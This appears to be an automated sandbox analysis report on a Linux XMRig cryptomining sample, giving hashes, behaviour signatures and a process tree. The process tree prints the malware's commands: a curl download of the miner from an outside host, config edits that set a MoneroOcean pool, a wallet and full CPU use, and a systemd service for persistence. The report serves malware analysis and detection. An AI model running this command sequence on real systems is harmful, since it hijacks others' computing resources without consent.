Analysis

  • max time kernel
    3s
  • max time network
    135s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240226-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240226-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    10-04-2024 14:16

General

  • Target

    cef2707760086718175235810e3e49a7bbfedce482dee09eef3d302247e97142

  • Size

    8KB

  • MD5

    bcf76b649b5c6016b4071d197b1ce111

  • SHA1

    f4bb851898a35378e6856181cb1ffc18436ed50b

  • SHA256

    cef2707760086718175235810e3e49a7bbfedce482dee09eef3d302247e97142

  • SHA512

    e35efea83573b47adf7464dfdb7b20b86e5f27df8aaef336947c278e48b38b9c955ce97d9583521d7a581c30b0f2a832c5e1b78f2825bb1af99948c4ed2b153e

  • SSDEEP

    192:76l+8H8cGom5Ca3knBdVdlfb0iA98sdrUtvwZMIKopVVFoGpKueJAYdtoEDdUlpW:oAom5ChBv0irsdrUtIZMIXpLaKKueJLJ

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads CPU attributes 1 TTPs 45 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Enumerates kernel/hardware configuration 1 TTPs 22 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/cef2707760086718175235810e3e49a7bbfedce482dee09eef3d302247e97142
    /tmp/cef2707760086718175235810e3e49a7bbfedce482dee09eef3d302247e97142
    1⤵
      PID:1569
      • /bin/hostname
        hostname
        2⤵
          PID:1570
        • /usr/bin/nproc
          nproc
          2⤵
            PID:1571
          • /bin/sleep
            sleep 2
            2⤵
              PID:1575
            • /usr/bin/sudo
              sudo -n true
              2⤵
                PID:1584
                • /bin/true
                  true
                  3⤵
                    PID:1585
                • /usr/bin/sudo
                  sudo systemctl stop moneroocean_miner.service
                  2⤵
                    PID:1586
                    • /bin/systemctl
                      systemctl stop moneroocean_miner.service
                      3⤵
                        PID:1587
                    • /usr/bin/killall
                      killall -9 xmrig
                      2⤵
                      • Reads runtime system information
                      PID:1588
                    • /bin/rm
                      rm -rf /root/moneroocean
                      2⤵
                        PID:1589
                      • /usr/bin/curl
                        curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
                        2⤵
                        • Writes file to tmp directory
                        PID:1590
                      • /bin/mkdir
                        mkdir /root/moneroocean
                        2⤵
                          PID:1592
                        • /bin/tar
                          tar xf /tmp/xmrig.tar.gz -C /root/moneroocean
                          2⤵
                          • Reads runtime system information
                          PID:1593
                          • /usr/local/sbin/gzip
                            gzip -d
                            3⤵
                              PID:1594
                            • /usr/local/bin/gzip
                              gzip -d
                              3⤵
                                PID:1594
                              • /usr/sbin/gzip
                                gzip -d
                                3⤵
                                  PID:1594
                                • /usr/bin/gzip
                                  gzip -d
                                  3⤵
                                    PID:1594
                                  • /sbin/gzip
                                    gzip -d
                                    3⤵
                                      PID:1594
                                    • /bin/gzip
                                      gzip -d
                                      3⤵
                                        PID:1594
                                    • /bin/rm
                                      rm /tmp/xmrig.tar.gz
                                      2⤵
                                        PID:1595
                                      • /bin/sed
                                        sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /root/moneroocean/config.json
                                        2⤵
                                          PID:1596
                                        • /root/moneroocean/xmrig
                                          /root/moneroocean/xmrig --help
                                          2⤵
                                          • Executes dropped EXE
                                          • Checks CPU configuration
                                          • Checks hardware identifiers (DMI)
                                          • Reads CPU attributes
                                          • Reads hardware information
                                          • Enumerates kernel/hardware configuration
                                          • Reads runtime system information
                                          PID:1597
                                        • /bin/sed
                                          sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/moneroocean/config.json
                                          2⤵
                                            PID:1603
                                          • /bin/sed
                                            sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"438ss2gYTKze7kMqrgUagwEjtm993CVHk1uKHUBZGy6yPaZ2WNe5vdDFXGoVvtf7wcbiAUJix3NR9Ph1aq2NqSgyBkVFEtZ\",/" /root/moneroocean/config.json
                                            2⤵
                                              PID:1604
                                            • /bin/sed
                                              sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu1804-amd64-20240226-en-13\",/" /root/moneroocean/config.json
                                              2⤵
                                                PID:1605
                                              • /bin/sed
                                                sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/moneroocean/config.json
                                                2⤵
                                                  PID:1606
                                                • /bin/sed
                                                  sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/moneroocean/xmrig.log\",#" /root/moneroocean/config.json
                                                  2⤵
                                                  • Reads runtime system information
                                                  PID:1607
                                                • /bin/sed
                                                  sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/moneroocean/config.json
                                                  2⤵
                                                    PID:1608
                                                  • /bin/cp
                                                    cp /root/moneroocean/config.json /root/moneroocean/config_background.json
                                                    2⤵
                                                      PID:1609
                                                    • /bin/sed
                                                      sed -i "s/\"background\": *false,/\"background\": true,/" /root/moneroocean/config_background.json
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:1610
                                                    • /bin/cat
                                                      cat
                                                      2⤵
                                                        PID:1611
                                                      • /bin/chmod
                                                        chmod +x /root/moneroocean/miner.sh
                                                        2⤵
                                                          PID:1612
                                                        • /usr/bin/sudo
                                                          sudo -n true
                                                          2⤵
                                                          • Reads runtime system information
                                                          PID:1613
                                                          • /bin/true
                                                            true
                                                            3⤵
                                                              PID:1614
                                                          • /bin/cat
                                                            cat
                                                            2⤵
                                                              PID:1618
                                                            • /usr/bin/sudo
                                                              sudo mv /tmp/moneroocean_miner.service /etc/systemd/system/moneroocean_miner.service
                                                              2⤵
                                                              • Reads runtime system information
                                                              PID:1619
                                                              • /bin/mv
                                                                mv /tmp/moneroocean_miner.service /etc/systemd/system/moneroocean_miner.service
                                                                3⤵
                                                                • Reads runtime system information
                                                                PID:1620
                                                            • /usr/bin/sudo
                                                              sudo killall xmrig
                                                              2⤵
                                                                PID:1621
                                                                • /usr/bin/killall
                                                                  killall xmrig
                                                                  3⤵
                                                                  • Reads runtime system information
                                                                  PID:1622
                                                              • /usr/bin/sudo
                                                                sudo systemctl daemon-reload
                                                                2⤵
                                                                  PID:1623
                                                                  • /bin/systemctl
                                                                    systemctl daemon-reload
                                                                    3⤵
                                                                      PID:1624
                                                                  • /usr/bin/sudo
                                                                    sudo systemctl enable moneroocean_miner.service
                                                                    2⤵
                                                                      PID:1645
                                                                      • /bin/systemctl
                                                                        systemctl enable moneroocean_miner.service
                                                                        3⤵
                                                                        • Reads runtime system information
                                                                        PID:1646
                                                                    • /usr/bin/sudo
                                                                      sudo systemctl start moneroocean_miner.service
                                                                      2⤵
                                                                        PID:1667
                                                                        • /bin/systemctl
                                                                          systemctl start moneroocean_miner.service
                                                                          3⤵
                                                                          • Reads runtime system information
                                                                          PID:1668
                                                                      • /usr/bin/tail
                                                                        tail -n1 /etc/rc.local
                                                                        2⤵
                                                                          PID:1670
                                                                      • /usr/bin/bc
                                                                        bc -l
                                                                        1⤵
                                                                          PID:1574
                                                                        • /usr/bin/cut
                                                                          cut -f1 -d.
                                                                          1⤵
                                                                            PID:1601
                                                                          • /bin/sed
                                                                            sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                                                                            1⤵
                                                                              PID:1602
                                                                            • /bin/hostname
                                                                              hostname
                                                                              1⤵
                                                                                PID:1600
                                                                              • /usr/bin/awk
                                                                                awk "{print \$2}"
                                                                                1⤵
                                                                                • Reads runtime system information
                                                                                PID:1617
                                                                              • /bin/grep
                                                                                grep MemTotal /proc/meminfo
                                                                                1⤵
                                                                                  PID:1616

                                                                                Network

                                                                                MITRE ATT&CK Enterprise v15

                                                                                Replay Monitor

                                                                                Loading Replay Monitor...

                                                                                Downloads

                                                                                • /root/moneroocean/config.json

                                                                                  Filesize

                                                                                  2KB

                                                                                  MD5

                                                                                  f3294129e6b76283965ad86a815bf383

                                                                                  SHA1

                                                                                  5fe0ab538f86962efe82cb13fc2da745610740af

                                                                                  SHA256

                                                                                  578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                                                  SHA512

                                                                                  07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                                                • /root/moneroocean/sedGxfFfC

                                                                                  Filesize

                                                                                  2KB

                                                                                  MD5

                                                                                  4bea0cf8feb1350b32743cf0bd47ed6e

                                                                                  SHA1

                                                                                  515df666312aa58695a55fe09f0d98a51b01e2d8

                                                                                  SHA256

                                                                                  dfc341c9c7081a4399f6060cca3d14e633f10bce4167f4f0499948afa48c381f

                                                                                  SHA512

                                                                                  b4abf385397ad5bce539cdd2ae5223725a68153877ac48a137d835651af4f36f118b03a97db26744ae387ef206f8d88872064b0c0da63ccd114afd8a25cc86c0

                                                                                • /root/moneroocean/sedKyzniF

                                                                                  Filesize

                                                                                  2KB

                                                                                  MD5

                                                                                  c5ac7821ce7e2903b9b26765127f967e

                                                                                  SHA1

                                                                                  3bc130ebf60b4607564b148c5455b7a267efc367

                                                                                  SHA256

                                                                                  cf9bd638b7b87db7d8677f0e0eca136b57c51b0aca258c341e0e8abc1ebef046

                                                                                  SHA512

                                                                                  d2b8961be59f8a5051ed893194d2599733a78f60d5c6b9481bb9b767c7e224f3cda4f5d4ebbe14cdb148ab88e916c46a16f6adbad5d92c1b095e5733518e315d

                                                                                • /root/moneroocean/sedkuhLmD

                                                                                  Filesize

                                                                                  2KB

                                                                                  MD5

                                                                                  d489ddbbb83271e967b8af615d17d3c7

                                                                                  SHA1

                                                                                  f0394a367a60e9727269882154098dec802774ef

                                                                                  SHA256

                                                                                  5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                                                  SHA512

                                                                                  aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                                                • /root/moneroocean/sedptmIWB

                                                                                  Filesize

                                                                                  2KB

                                                                                  MD5

                                                                                  57cfbb69f930d299b808915235ff2914

                                                                                  SHA1

                                                                                  1c289fb6ca40d998598e4b17ce86c0820a64c036

                                                                                  SHA256

                                                                                  30e0d03956f55ec8603ba763695a9b43ec2a22ba58c43005d98f6324ae97601f

                                                                                  SHA512

                                                                                  bb69437bb59da59d578b89a1b2002c8e0e517852d699d8b125f193203690a7e77e1556d2c91f6bd6d33cdf44821609bc9844e8a4cc343c93bee49f91616f4523

                                                                                • /root/moneroocean/seduRpBJF

                                                                                  Filesize

                                                                                  2KB

                                                                                  MD5

                                                                                  7791f27ec5a8f545df2cc6dcea0f3343

                                                                                  SHA1

                                                                                  1064111d664322006ae3a558aba24344a9e9cf24

                                                                                  SHA256

                                                                                  66c416c09f11785ae1fb199eb2a85ca7f0cfafc7cbd421f8a56720898046d073

                                                                                  SHA512

                                                                                  79d81ad5a5c9047504475db11ba34a70d99762b0529f16a38314d59313af557e8516c41c4344d5353c97f4f97e665e5352c53c20e955b3245b965b1f2fa7eccd

                                                                                • /root/moneroocean/sedyJ7HXC

                                                                                  Filesize

                                                                                  2KB

                                                                                  MD5

                                                                                  759029a23434f60e3ad0a42507e3dd7a

                                                                                  SHA1

                                                                                  0ee346084373bad17683f8abe62f56de706f6515

                                                                                  SHA256

                                                                                  50dda334d2baec588e62d52348660d9938770886532f57fafc35aa3e31a5d618

                                                                                  SHA512

                                                                                  60c7eb01da0bafeb61b24575698d31d81e4d3ca9d6aeaeadf1ccc35015c8ab1a0e8b9ffdc7c25268f6d6b6b5ded66ff08adce0a8589c4f58ffdf9bb394c13a4f

                                                                                • /root/moneroocean/xmrig

                                                                                  Filesize

                                                                                  8.4MB

                                                                                  MD5

                                                                                  29f17d8ba09b7e49cab5460f32fd0b5a

                                                                                  SHA1

                                                                                  b8a100b384e5f153837b4e1f339544537a28aa8f

                                                                                  SHA256

                                                                                  be99204ec45ab090951647300cc5212bb770bbcb247e8ffd71de6230a571e370

                                                                                  SHA512

                                                                                  b0b4a386caea0e219426a6314bfd27ff66f8498ae5d0c563223eb366dbc1dd020940c93b23dcf2f42a3a5f5f36e152058d79b73abb8ff5c714b59ccbc05eca51

                                                                                • /tmp/moneroocean_miner.service

                                                                                  Filesize

                                                                                  197B

                                                                                  MD5

                                                                                  d0284207783e7503b11c45bc6d3f768e

                                                                                  SHA1

                                                                                  8297f50cb6bcc0233f19ec1fdfe11821db59168e

                                                                                  SHA256

                                                                                  25a08e28ef3b6c16dd9b1f72916cc115f75e657349dc2366c00c548154141d87

                                                                                  SHA512

                                                                                  011c5d2f5b6ed43341f1f84cbfd5a1bec398d1d08ab2c163b5e45086b0aa5674f529208230522814993e42ec8d64e8955c129d7118d4b03ca6cddf819cdc2327

                                                                                • /tmp/sh-thd.XLK7FF

                                                                                  Filesize

                                                                                  280B

                                                                                  MD5

                                                                                  40454a6347bc3eb738314abb6e4e95ec

                                                                                  SHA1

                                                                                  07436431814fcf82bd17acc480015572913a68aa

                                                                                  SHA256

                                                                                  a63ddceb8a1d14611b06e22092a30cb29ac118433215fbf7a1a41bbc9a098caa

                                                                                  SHA512

                                                                                  1bf7a2dcf278313ef9914376e8c3aef456091068798e5ed9004092028c523fb8240220fe06c9222e29907bfeabddbdb468478a6071f76bce6275f84b823c74c0

                                                                                • /tmp/xmrig.tar.gz

                                                                                  Filesize

                                                                                  3.4MB

                                                                                  MD5

                                                                                  26d59b20b8c7337ee2f3ad10ae40b0d1

                                                                                  SHA1

                                                                                  29995670a55b629cacc4ff827288f7f397c47e1d

                                                                                  SHA256

                                                                                  09504b25b89ab873489b0b98416327cc2e4fb5749c2da3f9f07d6a977bdb6dab

                                                                                  SHA512

                                                                                  00c85389abf1c96f20e9c21c74c6daac5f6f6b3c33adb0f96a579a861fa35e145a1f0549a61e41b568826d378e05858d21d0e414db67be6c3bf6a30706e65a4a